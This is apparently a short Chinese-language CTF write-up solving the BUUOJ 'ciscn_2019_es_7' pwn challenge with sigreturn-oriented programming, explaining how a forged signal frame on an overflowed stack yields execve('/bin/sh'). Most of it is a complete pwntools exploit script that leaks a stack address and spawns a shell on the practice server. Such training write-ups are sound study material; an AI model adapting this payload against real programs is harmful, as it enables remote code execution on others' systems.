ida中看到一个输入一个输出,并且输出大于输入
网上找到一个新的办法——srop
简而言之就是调用sigreturn的时候会返回到Signal Frame
,而这个东西是在用户的栈上的,然而返回signal frame时不会检测是不是自己之前的写的,所以只要通过栈溢出修改这个就可以控制程序流了
signal frame结构
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr - 0x118
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
条件:1.可以栈溢出(控制signal frame)
2.找到syscall地址
3.找到mov rax,oxf(即sigreturn的系统调用号)
4.获得栈上的地址
大概是这样子的吧
exp:
from pwn import *
from LibcSearcher import *
#p=process(‘./ciscn_2019_es_7‘)
p=remote(‘node3.buuoj.cn‘,25723)
context(arch=‘amd64‘,os=‘linux‘,log_level=‘debug‘)
syscall_ret=0x400517
sigreturn_addr=0x4004da
system_addr=0x4004e2
rax=0x4004f1
p.send(‘/bin/sh‘+‘\x00‘*9+p64(rax))
p.recv(32)
stack_addr=u64(p.recv(8))
p.recv(8)
sigframe=SigreturnFrame()
sigframe.rax=constants.SYS_execve
sigframe.rdi=stack_addr-0x118
sigframe.rsi=0x0
sigframe.rdx=0x0
sigframe.rsp=stack_addr
sigframe.rip=syscall_ret
p.send(‘/bin/sh‘+‘\x00‘*9+p64(sigreturn_addr)+p64(syscall_ret)+str(sigframe))
p.interactive()
pwn太难了,准备学的差不多了以后转安卓逆向了
原文:https://www.cnblogs.com/p201921420037/p/14715534.html